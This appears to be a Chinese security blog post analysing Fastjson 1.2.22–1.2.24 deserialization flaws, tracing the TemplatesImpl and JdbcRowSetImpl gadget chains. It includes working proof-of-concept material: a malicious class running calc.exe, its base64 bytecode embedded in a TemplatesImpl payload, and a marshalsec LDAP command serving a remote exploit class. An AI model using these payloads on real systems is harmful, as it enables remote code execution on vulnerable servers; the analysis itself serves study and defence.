FastJson反序列化漏洞分析

序列化和反序列化

关于如何使用fastjson进行序列化和反序列化,现在继续看看,序列化时,使用方法是toJSONString,但是正常情况来说存在一个属性值:SerializerFeature.WriteClassName,但是如果不加这个属性值呢?

🥙FastJson反序列化漏洞分析 - 图1

可以比较明显的看出,原本的标识{""@type"}也没有了,@type可以指定反序列化的类,并且调用其getter/setter/is方法。

那反序列化也是有两种方法parseObjectparse

parse进行反序列化,因此json字符串中有@type因此会自动执行指定类的set方法,并且会转换为@type指定类的类型

parseObject进行反序列话时会自动执行@type指定类的get和set方法,并且转换为JSONObject

🥙FastJson反序列化漏洞分析 - 图2

可以看到都是反序列化成功的但是只有parseObject方法反序列化时同时调用get和set方法。

还有就是不加@type有什么不同?

🥙FastJson反序列化漏洞分析 - 图3

上面两种因为没有加@type去指定testjson属于那个对象,而反序列化失败,最后一个,添加了User.class,确定要反序列化的对象,这样就能正常反序列化了。

以下:@type=autoType

反序列化漏洞

代码如下:

  1. //Student.java
  2. import com.alibaba.fastjson.JSON;
  3. import java.io.IOException;
  4. import java.util.jar.JarEntry;
  5. public class Student {
  6. private String name;
  7. private int age;
  8. private String sex;
  9. public Student() {
  10. System.out.println("构造函数");
  11. }
  12. public String getName() {
  13. System.out.println("getName");
  14. return name;
  15. }
  16. public void setName(String name) {
  17. System.out.println("setName");
  18. this.name = name;
  19. }
  20. public int getAge() {
  21. System.out.println("getAge");
  22. return age;
  23. }
  24. public void setAge(int age) {
  25. System.out.println("setAge");
  26. this.age = age;
  27. }
  28. public void setSex(String sex) throws IOException {
  29. System.out.println("setSex");
  30. Runtime.getRuntime().exec("calc.exe");
  31. }
  32. }
  1. //Unser.java
  2. import com.alibaba.fastjson.JSON;
  3. public class Unser {
  4. public static void main(String[] args){
  5. String jsonstring ="{\"@type\":\"com.testjson.demo.json.Student\":\"age\":80,\"name\":\"777\",\"sex\":\"man\"}";
  6. //System.out.println(JSON.parse(jsonstring));
  7. System.out.println(JSON.parseObject(jsonstring));
  8. }
  9. }

结果如下,在反序列化时,调用了setSex()方法,遂可以执行命令。

🥙FastJson反序列化漏洞分析 - 图4

Fastjson反序列化漏洞流程分析

两条反序列化利用链分析,影响范围:fastjson-1.2.22~fastjson-1.2.24

Fastjson反序列化时,利用JSON字符串中的aututype字段来表明指定反序列化的目标恶意类。同时在反序列化时,会自动调用恶意对象的构造方法,getter/setter

Templateslmpl利用链

恶意类,构造函数执行命令,还有两个transform方法后面分析详细说

  1. //EvilCalss.java
  2. import com.sun.org.apache.xalan.internal.xsltc.DOM;
  3. import com.sun.org.apache.xalan.internal.xsltc.TransletException;
  4. import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
  5. import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
  6. import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
  7. import java.io.IOException;
  8. public class EvilClass extends AbstractTranslet {
  9. public EvilClass() throws IOException {
  10. Runtime.getRuntime().exec("calc.exe");
  11. }
  12. @Override
  13. public void transform(DOM document, SerializationHandler[] handlers) throws TransletException{
  14. }
  15. public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException{
  16. }
  17. public static void main(String[] args) throws Exception{
  18. EvilClass evilClass = new EvilClass();
  19. }
  20. }

使用javac将java文件编译成字节码文件.class,然后将字节码进行base64加密

  1. package test;
  2. import java.io.ByteArrayOutputStream;
  3. import java.io.FileInputStream;
  4. import java.util.Base64;
  5. import java.util.Base64.Encoder;
  6. public class HelloWorld {
  7. public static void main(String args[]) {
  8. byte[] buffer = null;
  9. String filepath = ".\\src\\main\\java\\test\\EvilClass.class";
  10. try {
  11. FileInputStream fis = new FileInputStream(filepath);
  12. ByteArrayOutputStream bos = new ByteArrayOutputStream();
  13. byte[] b = new byte[1024];
  14. int n;
  15. while((n = fis.read(b))!=-1) {
  16. bos.write(b,0,n);
  17. }
  18. fis.close();
  19. bos.close();
  20. buffer = bos.toByteArray();
  21. }catch(Exception e) {
  22. e.printStackTrace();
  23. }
  24. Encoder encoder = Base64.getEncoder();
  25. String value = encoder.encodeToString(buffer);
  26. System.out.println(value);
  27. }
  28. }

得到

  1. yv66vgAAADQAJgoABwAXCgAYABkIABoKABgAGwcAHAoABQAXBwAdAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACkV4Y2VwdGlvbnMHAB4BAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYHAB8BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYHACABAApTb3VyY2VGaWxlAQAORXZpbENsYXNzLmphdmEMAAgACQcAIQwAIgAjAQAIY2FsYy5leGUMACQAJQEACUV2aWxDbGFzcwEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBABNqYXZhL2lvL0lPRXhjZXB0aW9uAQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAcAAAAAAAQAAQAIAAkAAgAKAAAALgACAAEAAAAOKrcAAbgAAhIDtgAEV7EAAAABAAsAAAAOAAMAAAAKAAQACwANAAwADAAAAAQAAQANAAEADgAPAAIACgAAABkAAAADAAAAAbEAAAABAAsAAAAGAAEAAAARAAwAAAAEAAEAEAABAA4AEQACAAoAAAAZAAAABAAAAAGxAAAAAQALAAAABgABAAAAFAAMAAAABAABABAACQASABMAAgAKAAAAJQACAAIAAAAJuwAFWbcABkyxAAAAAQALAAAACgACAAAAFwAIABgADAAAAAQAAQAUAAEAFQAAAAIAFg

POC如下:

  1. package test;
  2. import com.alibaba.fastjson.JSON;
  3. import com.alibaba.fastjson.parser.Feature;
  4. public class POC1 {
  5. public static void main(String[] args) {
  6. String payload = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\", \"_bytecodes\":[\"yv66vgAAADQAJgoABwAXCgAYABkIABoKABgAGwcAHAoABQAXBwAdAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACkV4Y2VwdGlvbnMHAB4BAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYHAB8BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYHACABAApTb3VyY2VGaWxlAQAORXZpbENsYXNzLmphdmEMAAgACQcAIQwAIgAjAQAIY2FsYy5leGUMACQAJQEACUV2aWxDbGFzcwEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBABNqYXZhL2lvL0lPRXhjZXB0aW9uAQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAcAAAAAAAQAAQAIAAkAAgAKAAAALgACAAEAAAAOKrcAAbgAAhIDtgAEV7EAAAABAAsAAAAOAAMAAAAKAAQACwANAAwADAAAAAQAAQANAAEADgAPAAIACgAAABkAAAADAAAAAbEAAAABAAsAAAAGAAEAAAARAAwAAAAEAAEAEAABAA4AEQACAAoAAAAZAAAABAAAAAGxAAAAAQALAAAABgABAAAAFAAMAAAABAABABAACQASABMAAgAKAAAAJQACAAIAAAAJuwAFWbcABkyxAAAAAQALAAAACgACAAAAFwAIABgADAAAAAQAAQAUAAEAFQAAAAIAFg\"], '_name':'c.c', '_tfactory':{ },\"_outputProperties\":{}, \"_name\":\"a\", \"_version\":\"1.0\", \"allowedProtocols\":\"all\"}";
  7. JSON.parseObject(payload, Feature.SupportNonPublicField);
  8. }
  9. }

Fastjson通过_bytecodes字段传入恶意类,调用_outputProperties属性的getter方法时,实例化传入的恶意类,调用其构造方法,造成任意命令执行。

关于POC中payload的解释

🥙FastJson反序列化漏洞分析 - 图5

@type主要指向利用的类,这里是需要用到这个类中的_bytecodes来加载恶意类的字节码

_bytecodes用来加载恶意类

调用outputProperties属性的getter方法时,实例化传入的恶意类,调用其构造方法,造成任意命令执行

同时这也就是需要使用Feature.SupportNonPublicField属性是因为在反序列化时要调用private属性,如下图

🥙FastJson反序列化漏洞分析 - 图6

POC利用截图

🥙FastJson反序列化漏洞分析 - 图7

利用成功,就这条链子来进行debug和分析

从POC中的parseObject(payload, .....)跟进,到com.alibaba.fastjson.JSON

🥙FastJson反序列化漏洞分析 - 图8

到这里发现会最终是调用了parse,继续跟进在本文件中

🥙FastJson反序列化漏洞分析 - 图9

最终还是这样调用parse,只不过是传入的参数类型有点变化,继续跟进,会发现实例化了一个DefaultJSONParser对象

🥙FastJson反序列化漏洞分析 - 图10

跟进对象创建的过程

🥙FastJson反序列化漏洞分析 - 图11

this再转,并且传入了JSONScanner的一个实例作为参数,继续走跟进

🥙FastJson反序列化漏洞分析 - 图12

进入判断,对JSON传入的字符串进行解析,第一个字符是不是{,如果是,设置token值为12

到这里这一条DefaultJSONParser实例化对象的创建过程可以先出去了,再继续看

🥙FastJson反序列化漏洞分析 - 图13

此时的token值已经被设置为12了,说明流程正常走了下来。

然后继续跟进parser()

🥙FastJson反序列化漏洞分析 - 图14

由于前面已经设置token为12了,所以可以直接跳至case 12分支。

🥙FastJson反序列化漏洞分析 - 图15

调用parserObject方法,进入查看,取出key(键名): @type

🥙FastJson反序列化漏洞分析 - 图16

然后根据键名,scanSymbol解析出键值,com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl

🥙FastJson反序列化漏洞分析 - 图17

loadClass将键值(恶意类)存入clazz中,进入loadClass中查看

🥙FastJson反序列化漏洞分析 - 图18

返回了已经添加className的值到clazz(添加恶意类)

走到这里,将clazz传入到config.getDeserializer

🥙FastJson反序列化漏洞分析 - 图19

跟进this.config.getDeserializer,进入到com.alibaba.fastjson.parser.ParserConfig中,进行

🥙FastJson反序列化漏洞分析 - 图20

后面都是在走一个循环,判断JSON字符串中是否还有key,也就是key是否为空,不为空就继续取出键值,为空就跳出反序列化。判断是否结束的标志是}

🥙FastJson反序列化漏洞分析 - 图21

其中在解析处理 @type字段的⽬标类后,通过 for 循环处理JSON⽂本中剩下的键值对,通过 scanSymbol 函数获取下个键名

JdbcRowSetImpl利⽤链

头疼,暂时不想看了…..下次再补充吧


2022/9/21更新

最近看SRC和毕业设计方面的东西比较多,没有心情看,今天终于再次接上学习进度


首先还是先搭建环境然后做复现再进行跟踪链子分析代码

JdbcRowSetImpl链只需要可以控制输入就能利用,然而限制则是不同版本的jdk对jndi和rmi的限制,这里借用互联网上公开的一张图

🥙FastJson反序列化漏洞分析 - 图22

恶意类

  1. import javax.naming.Context;
  2. import javax.naming.Name;
  3. import javax.naming.spi.ObjectFactory;
  4. import java.io.IOException;
  5. import java.io.Serializable;
  6. import java.util.Hashtable;
  7. public class Exploit implements ObjectFactory, Serializable {
  8. public Exploit(){
  9. try{
  10. Runtime.getRuntime().exec("calc.exe");
  11. }catch (IOException e){
  12. e.printStackTrace();
  13. }
  14. }
  15. public static void main(String[] args) {
  16. Exploit exploit = new Exploit();
  17. }
  18. @Override
  19. public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
  20. return null;
  21. }
  22. }

在命令行中使用javac先编译,然后在当前目录使用python起一个http服务。

🥙FastJson反序列化漏洞分析 - 图23

使用marshalsec开启jndi

  1. java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:9000/#Exploit 1099

🥙FastJson反序列化漏洞分析 - 图24

然后将POC运行起来。

🥙FastJson反序列化漏洞分析 - 图25

没有问题,现在开始跟进代码。

观察POC中可发现调用的是com.sun.rowset.JdbcRowSetImpl这个类,后续可以看出是dataSourceName字段,所以在JdbcRowSetImpl搜索该字段大概就能找到给这个字段赋值的函数在什么位置。

🥙FastJson反序列化漏洞分析 - 图26

继续跟进其父类中的setDataSourceName()方法,因为getDataSourceName时,已经不为空了,而是ldap://localhost:1099/#Exploit,所以才走到了其父类的同名函数。

🥙FastJson反序列化漏洞分析 - 图27

这里呢,也是dataSource赋值,这一小段就是走到底了,再继续看poc传入的另一个字段autoCommit同样的方法,

🥙FastJson反序列化漏洞分析 - 图28

这也是个赋值的方法,判断this.coon是否为null,如果为null就调用this.connect()进行赋值。

继续跟进

🥙FastJson反序列化漏洞分析 - 图29

发现这里判断了this.coon不为空直接返回值,为空则利用lookup()方法获取getDataSourceName也就是前面分析的那一段,POC中输入的dataSourceName

🥙FastJson反序列化漏洞分析 - 图30

然后就执行了远程VPS上的恶意类(Exploit.class)最后执行图就不贴了。

这个相对来说链子短一些,分析起来比较容易。